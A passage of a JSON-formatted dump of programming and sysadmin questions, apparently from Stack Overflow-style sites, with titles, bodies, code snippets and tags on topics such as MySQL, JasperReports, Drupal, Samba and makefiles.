warnings. Right now I am trying to resolve this \n\nI don't really know what to do
here. I have installed MySQL. Does the MySQL PDO come installed on OSX by default?
or do I need to install that? How can I check if that is installed if that seems to
be the problem. \nUPDATE:\nThe PDO Mysql driver is enabled.\nAlso the for
pro_mysql looks like this:\n\nHowever the mysql directory doesn't appear in my
filesystem. should I create it? or do I nee to change this path somewhere?\
nUPDATE:\nI think the problem is that I haven't actually set up a database. kindof
dumb of me not to set up the database. \nI guess I will try to figure that out
now.\nUPDATE:\nThe thing that finally solved this was that cake was looking for the
Unix socket to the database in but mysql was using the socket in \nI fixed this by
creating a symbolic link from the to .\n", "/Library/WebServer/Documents/cakephp",
"mysql cakephp installation pdo osx-lion"], "4447466":
["java.lang.OutOfMemoryError: Java heap space in JasperReports", "In my swing
application when I am going to print, following exception is given.but not always,
like trice a time.
it occurs when the following code is executed in jasper reporting. How can I solve
this issue?\n\n Exception occurred during event dispatching:\n
java.lang.OutOfMemoryError: Java heap space \n\n\n", "
JRBeanCollectionDataSource datasource = new
JRBeanCollectionDataSource(purchasingList);\n JasperPrint jasperPrint =
JasperFillManager.fillReport(in, params, datasource);\n\n if (view) {//
using a JDialog a preview of the print is showed.\n new
Shows().showJasper(jasperPrint, \"Invoice No:\" + invoiceNo);\n }\n\n
final JRPrintServiceExporter exporter = new JRPrintServiceExporter();\n
exporter.setParameter(JRExporterParameter.JASPER_PRINT, jasperPrint);\n//
exporter.setParameter(JRPrintServiceExporterParameter.DISPLAY_PAGE_DIALOG,
Boolean.FALSE);\n
exporter.setParameter(JRPrintServiceExporterParameter.DISPLAY_PRINT_DIALOG,
Boolean.TRUE);\n exporter.exportReport();\n", "java swing jasper-reports"],
"5823660": ["How are asynchronous signals handled in Linux?", "This seems like a
silly question, but I can't find the answer to it anywhere I look. I know that in
UNIX, signals are handled asynchronously. If I write a function that handles a
signal, where is that function run? Is a new thread spawned? Is an existing
thread interrupted somehow? Or is this handled in a system thread like
asynchronous I/O is?\n", "", "linux unix signals"], "931266": ["PHP Drupal 6 XMLRPC
calls", "Using XMLRPC I'm attempting to see if the node table and two custom tables
contain specific values. I'm not looking for a coding solution, just general code
tips on function calls to use with parameters.\nThree tables.\ndp_node\
ndp_content_type_artists\ndp_content_field_vid_url\nThe general logic is take a
title and a artist name. See if the combination of title (song title) and artist
name exists. If it does replace the vid_url value with the new video url otherwise
insert. Lets use Bob Dylan as the artist and Rainy Day Women as the song title.\
nMy question is this. Using the assumption that node.get is the right procedure to
use, how would I filter to get the title from dp_node AND the artist from
dp_content_type_artist.\n\nThe above gets a node, I just haven't be able to figure
out how to filter on title and artist name.\n", " $node = 35764;\n $drupal-
>call('node.get',$node, array());\n", "php drupal drupal-6 xml-rpc"], "2979182":
["OSM Importer of Neo4j with LayerNodeIndex", "I have been playing with neo4j for a
few months now (not so thoroughly, though!).\nI have seen the examples of
OSMImporter in test cases, and also how to make a WITHIN_DISTANCE_QUERY (
http://structr.org/blog//299fbc8d5d854c78a530793e1555ae77 )\nI was wondering, how
can someone integrate the above?\nShould I modify the source of OSMImporter?\
nCheers\n", "", "neo4j spatial osm"], "4165359": ["Bytearray to image conversion",
"I want to convert a byte array to an image.\nThis is my database code from where i
get table\n\nand this is coversion code\n\nbut when I reached this ** area then the
following exception occures: \nGive some suggestion what I can do?\n", "public void
Get_Finger_print()\n{\n try\n {\n using (SqlConnection thisConnection
= new SqlConnection(@\"Data Source=\" + System.Environment.MachineName + \"\\\\
SQLEXPRESS;Initial Catalog=Image_Scanning;Integrated Security=SSPI \"))\n {\
n thisConnection.Open();\n string query = \"select pic from
Image_tbl\";// where Name='\" + name + \"'\";\n SqlCommand cmd = new
SqlCommand(query, thisConnection);\n byte[] image =(byte[])
cmd.ExecuteScalar();\n Image newImage = byteArrayToImage(image);\n
Picture.Image = newImage;\n //return image;\n }\n }\n catch
(Exception) { }\n //return null;\n}\n", "c# bytearray byte bytecode
bytebuffer"], "4784183": ["Grails Datasources \"Cannot add or update a child row: a
foreign key constraint fails\"", "I'm using the Grails Datasources plugin in my
app, and am having issues persisting a (chidl) domain class referencing a readonly
association (parent) class. For example:\n\nWhen I try and persist my child class,
I get this error\n\nI noticed that Grails creates a local, empty copy of the
referenced table from (readonly) to my local (writeable) when the tables are
created on startup. Could it be referencing this table (and its newly created FK)
instead? If so, why does it not enforce the FK constraint on the actual datasource
(i.e. in )?\nI'm fairly new to Grails, and have been unable to find solutions to
this specific issue anywhere else, so sorry if this sounds like a stupid question\
n", "/* Parent domain class; a read-only datasource using the Datasources plugin
*/\nclass Parent {\n //...Some fields\n}\n\n/* Child domain class, referencing the
parent class */\nclass Child\n // Some fields\n static hasOne = [parent:Parent]\
n}\n", "hibernate grails datasource"], "2761894": ["Configuring Django to use
remote mysql server?", "I am trying configure a Django application to use mysql.\nI
want to use the mysql server available in my network and don't want to install a
local copy.\nBut when I am trying to install mysqldb it needs mysql_config from
Mysql!\nWhat should I do if I want to use the mysql server in another machine?\n\
nTried downloading the MySQL files and pointed to \"mysql_config\" and built
mysqldb.\nBut when I tried to import mysqldb I get:\n\nAny hint on what the error
is?\nThanks\n", "sh: mysql_config: command not found\nTraceback (most recent call
last):\n File \"setup.py\", line 15, in <module>\n metadata, options =
get_config()\n File \"~/Dev/MySQL-python-1.2.3c1/setup_posix.py\", line 43, in
get_config\n libs = mysql_config(\"libs_r\")\n File \"~/Dev/MySQL-python-
1.2.3c1/setup_posix.py\", line 24, in mysql_config\n raise EnvironmentError(\"%s
not found\" % (mysql_config.path,))\nEnvironmentError: mysql_config not found\n",
"mysql django configuration"], "5064994": ["Return record from a database table
using Apache CXF", "I am using Apache CXF (apache-cxf-2.5.0) to create Web Services
using a bottom-up approach (Java first approach). I want to return some
data/records (for example, username, email) from a database table. I can write a
Java class which returns a simple response. But I am not able to find way to return
a response such as data/records extracted from a database table. How to do that?\
n", "", "web-services cxf"], "4417826": ["how to run a coffee-script project in
cloud 9", "I've been contemplating moving my project over to cloud 9 IDE but have
been having trouble running coffee script in the project. I copied over all my js
and coffee files but can't seem to get a run configuration working using the coffee
files. I tried compiling the coffee files in the console command line as well as
creating a run configuration that calls the app.coffee directly but no luck.\nWhat
is the coffee script support on cloud 9 and how does it work. Does it compile the
coffee script to js automatically? How do I need to configure my run settings in
cloud 9?\n", "", "coffeescript cloud9-ide"], "2745499": ["How can I make my
NSScroller subclass have a different width?", "I am trying to create a custom
subclass of NSScroller. I have created the class, and set it as the vertical
scroller on an NSScrollView in IB. When I run my project, the method is called for
my subclass, so I know that it is properly connected.\nNow, How do I change the
width of my fancy new NSScroller? No matter what I do to its bounds and frame, it
always wants to draw in a rectangle 15 pixels wide (the size of the default
NSScroller).\n", "drawRect:", "cocoa"], "5793470": ["How can I run a VBA code each
time a cell get is value changed by a formula?", "I would like to know how can I
run a VBA code each time a cell get is value changed by a formula?? Ive managed to
run a code when a cell gets its value changed by the user, but it doesn't work w\
n", "", "excel vba formula"], "5069151": ["Can less invoke vim instead of the
default vi when I hit the 'v' key?", "I want to launch instead of the default
editor when I hit v in .\nAre there any settings I can modify to allow me to do
this?\n", "vim", "vim keyboard-shortcuts vi less"], "2731683": ["Link to full-size
image for subscriber only", "I'm looking for a way to disable the \"link to full-
size image\" for people that are not logged in. I would like that people become a
subscriber before they can download my full size images.\nIs this possible?\n", "",
"images links subscription"], "6008559": ["Connect Github to secured Jenkins via
HTTP Post-Commit Hook", "I have set up Jenkins with the Github plugin on my test
server. I have secured Jenkins by only allowing authenticated users (anonymous
users don't have any rights) and secure connections.\nUnfortunately the post-commit
hook offered by Github doesn't seem to work in my case. I've tried to access the
URL at https://jenkins.on.my.server/github-webhook/ manually and it gave me
a \"net.sf.json.JSONException: null object\" error, which is fine since I didn't
post any JSON along with my request.\nMy question:\nI have secured Jenkins with
authenticated users, thus I have to use a URL in the format
https://user@pw:jenkins.on.my.server/github-webhook/, right? As I don't want to
post the credentials all over the net, can I use a secure connection as post-commit
hook for Github?\n", "", "build https continuous-integration github jenkins"],
"1651904": ["To what extent do you quote the author in a project fork?", "I have
forked a Java project recently but am a little confused when trying to conform to
its GPL. How often should you quote the source?\nRight now I've noted that this
forked the original project and linked to it in the home page, but should I also
add it to the Javadocs as well?\n\nTo me that seems a little
verbose, and then what do I do with the files that I didn't touch or the original
author didn't create? Or is such a linkback even necessary?\n", " /**\n * ...\n *
@author Originally by Someone\n * <a
href=\"http://project.com\">http://project.com</a>\n * <p/>Forked by Leon
Blakey as part of the MyProject project\n * <a
href=\"http://myproject.com\">http://myproject.com</a>\n */\n", "java gpl fork"],
"95874": ["Disable single warning error", "is there a way to disable just a single
warning line in a cpp file with visual studio?\nFor example, if I catch an
exception and don't handle it, I get error 4101 (unreferenced local variable). Is
there a way to ignore this just in that function, but otherwise report it in the
compilation unit? At the moment, I put at the top of the file, but that obviously
just turns it off for the whole unit.\nThanks\n", "#pragma warning (disable :
4101)", "c++ visual-c++ warnings pragma"], "5037630": ["How will i know whether
inline function is actually replaced at the place where it is called or not?", "I
know that inline function are either replaced where it is called or behave as a
normal function.\nBut how will I know whether inline function is actually replaced
at the place where it is called or not as decision of treating inline function as
inline is at the compile time?\n", "", "c++ inline"], "988965": ["Limit number of
character after certain character", "I'm trying to limit number of character being
shown after specific character in a string. Example:\nThe number is like :
1424124.991412\nWhat I want is make it shown like : 1424124.99\nHow can I do this?\
n", "", "mysql sql string query string-formatting"], "845319": ["How to mount a
hardware locked usb pendrive on a mac?", "I recently got this pendrive from my
bank. It's a 4GB drive - but all that shows up on my mac is a 2MB partition
containing a file . I confirmed that on windows I can login - but unfortunately not
unlock the drive permanently.\nI'm wondering if I could unlock it somehow so I
would be able to also use it with my mac.\nWhen I look at it in disk-utility I only
\"2.1MG Generic Flash Disk Media\", readonly - nothing else.\nOther stuff that
might be helpful from the hardware info:\nFlash Disk\nProduct-ID: 0x2095\nProducer-
ID: 0x1e3d (Chipsbrand Technologies (HK) Co., Limited)\n", "logintool.exe",
"mac usb usb-flash-drive locked"], "613059": ["Debian SMB share having permission
issues in windows 7", "I setup a Debian squeeze server with samba. I then shared my
/media directory with the following configuration: \n\nWhen the drives are mapped
in Windows 7, the user can write to all of the subdirectories of media (, , etc),
but cannot write to any folders that they create themselves in the subdirectories
of media. For example, if the user mapped to , and then creates a folder , the
folder is created successfully, but no files can be written to . If the user ssh's
into the server, they have no problems writing to these directories. I have
included the screenshots, in order, of what happens on Windows. This samba share is
mounted with ntfs-3g, if it makes a difference. \nScreenshots are here\n",
"[media]\n comment=Hard Drives\n read only = no\n locking = no\n path =
/media\n guest ok = yes\n browsable = yes\n directory mask = 0777\n",
"linux windows permissions samba"], "4386638": ["Drupal 7 - Editing Default Emails
in user.module file", "I have drupal 7 installed on my live server. I want to edit
the default text emails to Html emails which are present in user.module file. I
tried changing the core file, deleted cache, deleted browser cache, but it does not
work. I have also changed the permission to 777, but it did not work.\nI know it is
not a good idea to change the default core files, but is it possible to change the
drupal core files ??\nThanks\nUpdate\nI have installed Html mail module, and i can
change the look of the html, however i wish to change the actual text of the
default emails.\nUpdate 2\nAs mentioned in the answer below, i tried checking the
the settings page in Drupal, however i could not get the forget password email and
new comment email text. Is it possible to add this or edit this using the HTML mail
module?? \n", "", "html drupal drupal-7 html-email"], "5910961": ["jQuery UI Dialog
Position is Incorrect When Opened In $(document).ready Function", "My jQuery UI
modal dialog shows up center screen when displayed from say a button click event,
however, if I open it during document.ready, in the loginDialog() method below, it
is displayed at the bottom of the scrollable window. \nI suspect the issue is
related to the fact that I am loading a number of images in document.ready prior to
the dialog open call. The viewable part of the screen is disabled but the dialog is
at the bottom of the scroll window. Interesting to note that the dialog position
option \n\ndoes not seem to work during document.ready either.\n\nHow can I get the
dialog to be placed correctly during or shortly after document.ready?\n",
"position: 'top', \n", "jquery position modal-dialog document.ready"], "5214654":
["Changing block of code based on CONFIG entries in Linux Kernel", "I had a
question about using the CONFIG entries of the .config file used in the Linux
kernel. I would like to skip through some part of the code in a function in a file
based on whether a certain CONFIG entry is y or not. What is the best way of doing
that? I am wondering if an 'if statement' can be used in any way. One workaround
which I tried was maintaining two copies of almost the same file, renaming, and
changing the makefile entries based on CONFIG, but this method involves quite some
code duplication. Was wondering if there is a smarted way of doing this.\n", "",
"linux linux-kernel configuration-files linux-device-driver embedded-linux"],
"1480098": ["ASP.Net MVC2 DataAnnotations validation with TinyMCE applied over a
textarea", "Ok I have DataAnnotatations validation working really nicely with the
Client-side validation enabled.\nI have a \"required\" attribute applied over a
textarea called \"Description\".\nNow I've applied TinyMCE over this same textarea,
so that it becomes a basic HTML editor, vs just a standard textarea.\nBut now when
the DataAnnotations validation runs, it thinks that the textarea is always empty
and raises a validation error such as \"Description is required\" for example.\nMy
understanding is that TinyMCE stores the real value in some other hidden field, not
truly inside the textarea?\nHow can I notify the DataAnnotations client-side
validation to check the true value of the TINYMCE-textarea, and not just the
underlying textarea that was created by the HTML Helper?\n", "", "asp.net-mvc-2
validation dataannotations model-binding"], "4959032": ["Rounding using arbitrary
precision libraries in PHP", "I asked a question earlier about how to deal with
rounding issues with floating point numbers in PHP, and was pointed to the and
libraries.\nI've looked at the functions in these libraries but nothing jumped out
at me when I was looking for one to round off the number.\nHow do you accurately
round using these libraries?\n", "bc", "php math floating-point arbitrary-
precision"], "848577": ["Are there any recommended typing methods when you use a
lot of parentheses?", "It's awkward to type a lot of parentheses for me, as in .
come a little more naturally. Does anyone map their keys or do anything when
dealing with a lot of parentheses? General tips are appreciated, and if it helps to
know I use Vim regularly.\n", "()", "vim keyboard-shortcuts"], "221426": ["bookmark
modal window so next time it opens if the page is open", "Using Bootstrap.\nI have
a lot of links on the page. \nClicking on any of those links bringing up a modal
window.\nThe Question: \nI would like to be able to bookmark modal window so next
time I use bookmark the specific modal window appears. \n", "", "jquery html
twitter-bootstrap modal"], "1901159": ["Update MS Windows XP via batch script", "Is
it possible to update WXP using a batch script? Basically, I would like to run a
batch script, which installs all important updates in the background accepting any
dialog boxes which need user interaction.\nEDIT 1:\nI know I can enable
the \"Automatically download and install\" option to do this, but I have about 100
computers to do, so it would be nice if it can be done via a batch file. That way,
I can use the software we already have to run a batch file on all computers with a
single click.\n", "", "windows-xp batch automation updates windows-update"],
"4040587": ["Mount vfat with write permissions", "OpenSUSE 12.1. I've tried to
provide my USB flash with write permissions having mounted it a dozen of times in a
dozen of ways. Currently I have the following line in /etc/fstab\n\nnevertheless my
USB gets mounted as (mount output)\n\nHaving broken my brain I'm looking for a
piece of advice from more experienced users...\n", "/dev/sdb1 /media/48 vfat
user,rw,exec,suid,dev,uid=user,gid=users,umask=0000,iocharset=utf8 0 0\n", "linux
permissions readonly mount"], "7560": ["Is it safe to increase an iterator inside
when using it as an argument?", "Currently I'm trying to erase a sequence of
iterators from a set, however GCC's standard library seems to be broken because
std::set::erase(iterator) should return the an iterator (next iterator), however in
GCC it returns void (which is standard?)\nAnyways I want to write:\n\nBut GCC
doesn't like it...\nSo Is it safe to write this instead?\n\nThanks!\nEdit: And yes
I'm checking against mySet.end();\n", "myIter = mySet.erase(myIter);\n", "c++
iterator"], "5109442": ["Core Data Migration - Migrating selected data from a
previous version", "We're performing our first iOS app update, and also our first
Core Data migration.\nIt seems more complicated than the examples of
the Standard and Lightweight Core Data migrations i've seen online, but perhaps
i'm missing something.\nOur scenario is that we've updated the .xcdatamodel (simply
added a new field), and also a lot of the reference data used in our app (stored in
our Core Data database), but we need to retain some user data (stored in the same
Core Data database).\nI've added multiple versions of the model definition into our
.xcdatamodelld file, and have played around with a Lightweight Core Data migration
process (using a Mapping Model (an .xcmappingmodel file)), which successfully
updates the model, but I can't see any obvious way in which it would allow us to
import selected data (the user's data) from a previous version of the database into
a new one bundled with the next version of the app (containing our updated
reference data).\nAny advice on how to approach this scenario would be very much
appreciated.\nThanks in advance, Ted\n", "", "ios core-data core-data-migration"],
"3557774": ["Static functions have different static class variables?", "This is a
followup to a previous question: C# Static event null from within class\nI have a
class like this:\n\nElse where in the program, I am setting the PlaylistLoadError
EventHandler, like so:\n\nNow, inside of LoadPlaylist, PlaylistLoadError is null
and myInt is 0, despite setting them elsewhere. Later, when I create an instance of
PlaylistModel, PlaylistLoadError and myInt are the correct values. So my question
is this - do static functions of a class somehow access different versions of
static class variables? I have checked the memory addresses of the static
variables, and they are indeed different depending on if I'm inside of a non-static
vs. a static function.\n", "public class PlaylistModel {\n public static event
EventHandler PlaylistLoadError;\n public static int myInt;\n\n public static
void LoadPlaylist() \n {\n try \n { \n // do some
stuff, simulate exception\n throw new InvalidOperationException();\n
} \n catch(InvalidOperationException ex) \n {\n
EventHandler handler = PlaylistLoadError;\n if(handler != null) \n
{\n PlaylistLoadError(null, null);\n }\n }\n }\
n}\n", "c# static windows-phone"], "5052180": ["Nested AD Groups not propagating
permissions", "I have a list of AD Groups that are nested within each other and if
I assign a permission level to the top leveled group, the individuals don't seem to
get the access they need. Here's an idea of how it works:\nIndividual A\nSubGroup B
contains Individual A\nGroup C contains SubGroup B\nGroup C is given access, and
Individual A doesn't have access. However, if I assign the Individual A access
directly then he/she has it.\nAny ideas on why that is, or what is going wrong?\n",
"", "permissions active-directory groups"], "2412191": ["Getting 404s On WordPress
Site, But Only From IE With Friendly Error Messages Turned On", "I'm receiving 404
Page Not Found errors (80% of the time) on any links off of
http://doubleabody.com/, but only for IE browsers, and only if \"Friendly Error
Messages\" is turned on. Go into IE settings and turn off \"Friendly Error
Messages\", and the problem doesn't come back. Turn \"Friendly Error Messages\" on
again, and the problem comes right back, but only 80% of the time. No other browser
except IE has this problem. So far we see this problem in IE8 and IE9. \nWhen I say
80% of the time, I mean that I click a link after clearing browser history and
cache and get the 404 message in IE. But then refresh like 4 times, and suddenly
the page comes up fine. Turn off \"Friendly Error Messages\", and the problem comes
back. We are seeing this on multiple types of Windows (XP, Vista, Windows 7,
Windows Server 2008 in a VM on Ubuntu Linux).\nAlso, this is only a recent problem
of about 2 weeks ago. For several months this website ran just fine on
a2hosting.com. So far, a2hosting.com is still troubleshooting and they can't figure
the problem out either.\nThis is a WordPress site that's been loaded up with Pods
CMS. It has no other plugins besides Pods CMS. I built a custom WordPress theme and
then use the Pods CMS API to pull in content to display. This converted this from a
blog into a small business website.\nThe .htaccess of this site is also the normal
WordPress variety.\nUPDATE1\nPer a request from @JeffAlbert, I am showing what the
error logs say when I encounter the 404 from an IE8 browser. This was when I
clicked a link called \"/map\" off the homepage. (Note that I have changed the IP
addr for my workstation protection.) Note on the first attempt, it failed. On the
second attempt, it went through.\n\nAnd now this is what happens when I click /map
again with \"Friendly Error Messages\" turned off in IE8, where it consistently
comes up just fine:\n\nAnd here's the result when I use Google Chrome from Ubuntu
Linux, where it works consistently:\n\n", "50.0.0.0 - - [25/Mar/2011:00:56:51 -
0400] \"GET /map HTTP/1.1\" 404 9082 \"http://doubleabody.com/\" \"Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET
CLR 3.5.30729; .NET CLR 3.0.30729)\"\n50.0.0.0 - - [25/Mar/2011:00:56:59 -
0400] \"GET /map HTTP/1.1\" 404 9216 \"-\" \"Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET
CLR 3.0.30729)\"\n", "php wordpress linux apache2 404"], "590699": ["How to send a
PDF file via JSON from my REST Service to my clients", "Is it possible to send
binary data in JSON ? I am creating a REST Service in ASP.NET MVC where i want to
return PDF file stored in my server to my clients. How will i do this ? my data
transfer medium is JSON & XML.\n", "", "json rest"], "5226228": ["Apache HTTPd
FollowSymLinks path permission", "I'm configuring my development environment with a
basic Apache HTTPd configuration.\nBut, to avoid a often problem, I want to map my
test URL to my development folder.\nI'm using Ubuntu.\nMy development path is
located under the following example path:\n\nConsidering the following symbolic
link mapping:\n\nWith this folder mapping, I configured Apache HTTPd with the
following configuration:\n\nBut, I'm receiving a 403 Forbidden error when I want to
access index.html under the address http://local.server.com/index.html.\n\nOn httpd
debug log, I checked the following message:\n\nI'm thinking that this problem is
been generated by some path permission. It's not a direct permission to directory,
but some intermediate directory in the path.\nThere's a directive on httpd core
Options:\n\nBut, I tested it without effects.\nSomebody may help me? I think that
it's a trivial configuration on development environment.\nBest regards,\nAnd Past\
n", "/home/myusername/myworkspace/hptargetpath/src/pages\n", "configuration httpd
documentroot"], "3011959": ["How to run WMI call in the foreground", "I can't seem
to find any information on this anywere else. I'm probably not searching the right
thing. Anyway...\nI have a tool that runs various things (installations mostly) in
the background to make maintaining a large user base very easy. It makes WMI calls
to handle the installations and the fact that they run silent is great most of the
time.\nNow I'd like to add some features to make my life easier. If I'm on the
phone with a customer and I want to pull up a command prompt or perhaps 'add/remove
programs' under my credentails since the users don't have admin rights.\nI've
written code and the process launches on the remote machine BUT... it's running in
the background and no window comes up for me to use. Any thoughts on how to get the
window to show on the users screen?\n", "", "c# wmi"], "1837493": ["Implementing a
Property Inspector/Editor in WPF", "So far my plan is to have an event \"Item
selected\" which the property inspector listens to. The actual property inspector
is just a ContentControl. When the object is selected the content property is set
and the appropriate DataTemplate for editing the object is loaded.\nIn general I am
trying to do this \"MVVM\" style. I guess you could use reflection instead of
templating but I only have a handful of types so far.\nHas anyone implemented
something similar?\nCan you offer any advice or source code?\n", "", "wpf
properties"], "5123105": ["Is there any ruby gem wrapper for p0f?", "This
https://github.com/skord/p0f is great. But it is . And does not offer an API. It
allows you to do some tricks with the option, but still, it's not a lib with API.\
nIs there any ruby gem that wraps as a library and offers an API in order for me
to be able to embed it, use it, for instance, in my Rails server?\nMy long-term
goal is to extract TCP level information (such the one that gives) from Rails
request objects. Any other ideas would be marked as helpful. \nHence, I am looking
for an answer on gem existence and any other consultation on how to extract TCP
level information equivalent to the information gives.\nI hope that my question is
clear.\n", "C", "ruby-on-rails ruby networking tcp libpcap"], "5898416": ["How to
make a queue of NSURLRequest using GCD?", "I have a containing 7 internet from
which I need to grab the headers.\nI'm using these methods to make connections
(and all works perfectly):\n\nThe problem is that I need to download each
following the order of the , but due to the nature of the connection the order
gets messed up. \nI don't want to use connections because they block the \nHow do
I make a queue using on the to ensure that the downloads will follow the order of
indexes from 0 to 6 of my containing the 7 ?\nThanks for your help!\n",
"NSMutableArray", "iphone objective-c cocoa-touch nsurlconnection grand-central-
dispatch"], "3523608": ["Twitter search with nested AND and OR?", "I want to use
the Twitter search API
to find tweets that contain:\n\nIn other words, there should always be a keyword
from the first set, and a keyword from the second set. Is this possible using
Twitters standard search API?\nI have read the documentation but this kind of
search isn't really mentioned.\n", "(keyword1 OR keyword2)\n\nAND\n\n(keyword3 OR
keyword4)\n", "query api search twitter"], "5591630": ["Looping through an Array in
C with no output", "Here is my code: \n\nBut I get no output, what is my problem?
I'm new to C so I appreciate any comments/criticism. \nEdit: I do get an output,
but it's a smily face... \n", "int main()\n{\nint tiles[9];\nint counter=0;\nint
i=1;\nwhile (counter<8)\n{\n tiles[counter]=i;\n counter=counter+1;\n
i=i+1;\n }\nint running_total=0;\nint current_number;\nprintf(tiles);\n\nreturn
0;\n}\n", "c arrays loops"], "1185261": ["SharePoint WSS3.0 how much free space
should I be running with", "My Sharepoint WSS 3.0 box is running into various
issues and I notice it has less that 3GB free HDD space.\nwhat is the recommended
amount for a sharepoint server to keep free and available?\nThis is a virtual
system so I can easily assign more memory if required.\nthanks,\nPierce\n", "",
"sharepoint sharepoint-2007 hard-drive wss-3.0"], "1132460": ["how to connect to
the internet on my android application while i have a server with a
proxy \"IP:Port\" and asks for a username and password", "I am developing an
application on android, and there is a proxy server in the company preventing it
from accessing the internet.\nI recall there are Http methods in java that serves
the purpose, I searched for them but with no result. \nSo what I'd like is how to
put the server IP-address and port-number, with my login-username and password, and
the domain-name. \nNote: I have set my emulator to connect to the internet by
going to the APNs and it successfully connects to the internet via the browser.\n",
"", "android internet-connection proxy-server"], "1238672": ["Why my server is up
and down successively?", "Our server has just been hacked few days ago, we made a
complete backup of it, but, from that time, we get erros while trying to access our
websites hosted on it : some times, everything works perfectly, and then when we
refresh the page, we get an error message :\nInternal server error\nWhere could
that come from ?\nThanks\n", "", "webserver hosting web-hosting"], "4228566": ["How
can I create a group of contacts in Skype?", "I can see my groups which was created
earlier, but after I updated from Skype 5.0 to 5.1, I've lost ability to create new
groups.\n\nMac OS X 10.6.7\nSkype 5.1.0.914 \n\nThis question is not duplicate
of \n\nHow do I create and save a group of contacts in Skype?\"\n\nbecause there is
no such a menu item here:\n\n", "", "mac skype contacts"], "3728644": ["Can connect
to a MAMP setup localhost with Mac, but PC doesn't connect", "I have MAMP on my
Mac, and I can access my locally hosted sites like so\n\nWhen I switch to my PC on
the same network, I can enter but it will not connect to my MAMP connection. I
swear I have done this before. They are both on the same network.\nDo I need to
enable anything special on MAMP to get my PC to connect to localhost ?\nI've also
tried entering the IP address of the Mac into my browser's address bar to no
avail.\n", "http://localhost:8888/wordpress/\n", "osx mamp"], "4190536": ["User
data through indexing in lucene", "I want to add to the document\u2019s indexed
field some user data that will be stripped by my custom tokenizer at run time and
will be used by my custom filter later on,\nI didn\u2019t find a way to store user
data in a public area so the filter could fetch it and process it.\nAny suggestions
?\nThanks in advance,\nLior.\n", "", "lucene lucene-index"], "3558844":
["Performance impact of Win32 + PAE on a JVM", "one of my clients insists on
installing a Windows 2003 Entreprise OS on a 32 GB RAM server. My application is a
java web application (servlet) mostly reading a datawarehouse. This DWH will be
running on Oracle 10g.\nWhat will be the impact of this OS choice ?\nIt seem from
my tests that I cannot assign a heap space bigger than 1.5GB (Xmx) to my JVM. Also,
I don't know what the impact on Oracle will be.\nWhat are the pros and cons of this
OS choice ? (license cost maybe ?)\nThanks\nPS: our primary advice was Debian
(64bits) / Postgresql, but, you know, customer is always right :-) \n", "",
"windows java 32bit-64bit"], "2392216": ["Windows 7 user permissions", "I have
Windows 7 on my computer. I want two user accounts: 1. Admin and 2. Normal User\nI
want to prevent the normal user from:\n\nInstalling programs\nUsing USB\nWatching
videos on Facebook or YouTube, (they can browse Facebook, but can't watch videos in
the browser)\nUsing Facebook chat\n\nHow can I do this on my local computer with
Windows 7?\nCan somebody also name the best parental lock software which can block
Facebook chat ?\n", "", "windows-7 group-policy"], "5605626": ["Extending a simple
makefile to support different implicit compiler flags", "I am very new to makefiles
- so please bare with me and the way I am asking this question.\nI have been using
a makefile that was fairly straightforward. I defined OBJS with a list of .cc
files. I set up dependencies and include flags and appended all of those to
$CXXFLAGS. It looks something like this:\n\nmylib.so uses the CXXFLAGS (implicitly)
and everything builds just fine.\nI have recently had the need to have mylib_1.so
and mylib_2.so, in addition to mylib.so. Each .so depend on all the same .cc files,
but the compiler flags are all different (including include directories). \nHow do
I get it so I can set the compiler flags based on the target .so? The problem that
I have is that if I set CXXFLAGS more than once it gets overwritten. It's almost
like I need an if/else situation. \nI tried doing something like setting three
different flags, $CXXFLAGS1, $CXXFLAGS2, $CXXFLAGS3, and using those in the line\n\
nbut that does not work. \nHow do I accomplish what I am trying to do? Is it better
to have 3 separate makefiles? I did find a way to get it to work. I can stop using
$OBJS and spell out the flags explicitly for each source file but this seems like a
horrible idea in terms of scaling to size. \n", "SRCS = file1.cc file2.cc file3.cc\
nOBJS = $(SRCS:.cc=.o)\nCXXFLAGS=some flags\nCXXFLAGS+=some include dirs\n$
(mylib.so): $OBJS\n $CXX -shared -o $@ $^\n", "c++ makefile gnu-make"],
"5418311": ["GitX: reset master to here", "I'm using GitX to work with a Git
repository for a project. Somehow, things got out of sync and although I can pull
the latest changes, I can't commit anything because it thinks there is an
unresolved conflict in a particular file. Yet, when I resolve the conflict, the
file disappears from the staging view, so I can't commit it and end up back where I
was.\nWhat I want to do is just pull all the latest changes from the repo and
discard any and all of my local changes, so that my local copy is exactly identical
to the repo. I have only made a few simple changes, and would rather just make them
again (once everything is in sync) then continue to go in circles trying to merge.\
nI'm thinking a \"reset master to here\" on the latest commit and switching the
toggle to \"hard\" would do the trick:\n\nResets the index and working tree. Any
changes to tracked files in the working tree are discarded. Warning! This discards
all changes. It may be hard to recover them.\n\nI just want to be sure that this is
referring to my local changes being discarded. Is that correct? Would this update
my local to an exact mirror of what's in the repo?\n", "", "git repository reset
local master"], "3596032": ["Custom Panel InternalChildren order differs from bound
ItemsSource", "I'm writing a custom ItemsControl and Panel that arranges items
vertically in the order in which they were added to the ItemsSource bound to the
ItemsControl. Note that this is just a prototype of the final Panel, whose
arrangement will be a bit more complex. As such I'm not interested in alternate
Panel suggestions.\nThe ItemsControl trickle-feeds the Panel items from the bound
collection, so items in the collection don't all appear \"simultaneously\" (the
Panel raises an event to say it is ready, which the ItemsControl captures to
release the next item). The problem is that for some reason the ArrangeOverride on
the Panel sometimes decides items should be added in the middle of the already
rendered visuals, causing things to jump around.\nAt the moment I'm simply clicking
an Add button on my test view to add items to the end of the bound ItemsSource
collection. So items can be added/removed from the bound collection while this
trickle feeding is happening. By the time the Panel renders these \"new\" items,
they are being added in seemingly random locations.\nI've got s all over the code
so that I can see that the items are successfully added to the end of the
collection, and to confirm that the InternalChildren are being randomly inserted in
the middle. I even went as far as implementing a CollectionViewSource to enforce
order on the items. Even then the InternalChildren was giving a different order to
the underlying ItemsSource.\nThe only thing I can think of is that somehow adding
